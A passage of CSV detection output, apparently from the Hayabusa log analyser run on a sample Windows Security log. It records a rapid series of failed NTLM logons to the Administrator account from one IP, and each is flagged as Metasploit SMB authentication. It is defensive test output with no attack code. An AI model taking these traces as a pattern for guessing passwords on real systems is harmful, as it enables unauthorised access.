Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.276 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nmLyLJoVZz6fJ62I : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.276 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aGufqEGD4hFf2XLM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.308 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.340 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 7IEdKy2H5Agblpjt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.340 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.384 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XT9k8C05GVLBNPdl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.384 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5opHh8HelCXtR5Cm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.424 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.473 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K0dntDwYLmag9efo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.473 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.514 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UQfZOMFV9LtY7r2S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.514 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.632 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y01v38dTUIsJEZIv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.632 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.684 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pCP8x2QBZ6IvMEnf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.684 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.739 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hgcbYjw3kKqlK7Di : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.739 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TFU97Tq3e7IWvSKm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.774 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.808 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1hUCvaS1yM2FU9AE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.808 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.852 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8JInVlBqTSfT4J1s : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.852 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.896 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EjXRQUGDKBZaMkw3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.896 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.937 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fZPXNxkGOrld5eCR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.937 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.978 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OBDhSrF7DZ1KBRa8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:54.978 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.013 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dQ7TKJOGibAVNoCH : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.013 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.054 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZE1GARxx03m4FtEL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.054 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Gf3VLLTxsK85bsrv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.123 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 58G6MFVbW55JZIV5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.123 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.160 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Yxne9LqZCqBf3qkc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.160 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.200 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ssZya6gArnuepKyW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.200 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.244 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rsDEj6o0NaKUYPZL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.244 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.288 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pELSIsupIYAxPCtv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.288 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.330 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: urHCDmdCfNexxUHf : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.330 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.373 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: czGXZFukLquA9Mce : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.373 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: icWMY9pKCQMyTxJg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.424 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.464 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: v28FLC2WXEXSUiI5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.464 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.510 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FwhjHww5iA51SFjp : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.510 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.552 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 96BwmhKqDIojhdRA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.552 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.601 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DiRvofjwoeAdHYrv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.601 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.655 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BNLdOrPwbvYELiCc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.655 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: x15WKTspmg2ALHaY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.704 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.748 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QMoQWddkcYtCmoKm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.748 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.784 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jhTbfX42Pwn7OA2k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.784 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.814 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yXcbUCgAhVFfqLc3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.814 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.856 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GHyXVM0jpaKBiY9N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.856 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.896 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TZoWEcU6VbEnrLpx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.896 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.939 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LIfEzNQWwvrai4ga : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.939 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.980 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DhImfqWz7SHId9hE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:55.980 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.014 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: s6sekQfneNE5uFtx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.014 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.068 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iEQ6KkZEHGcSgdA8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.068 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.103 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qzxJYBbM7ZMaaGOo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.103 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.151 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wO5GFBqSltNfjtQT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.151 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.198 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PdsMzjfP1ZcPju2i : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.198 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.232 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 2LqpKmoCX9slPXie : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.232 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.284 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ouHvw1LXTN3OSFYb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:56.284 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 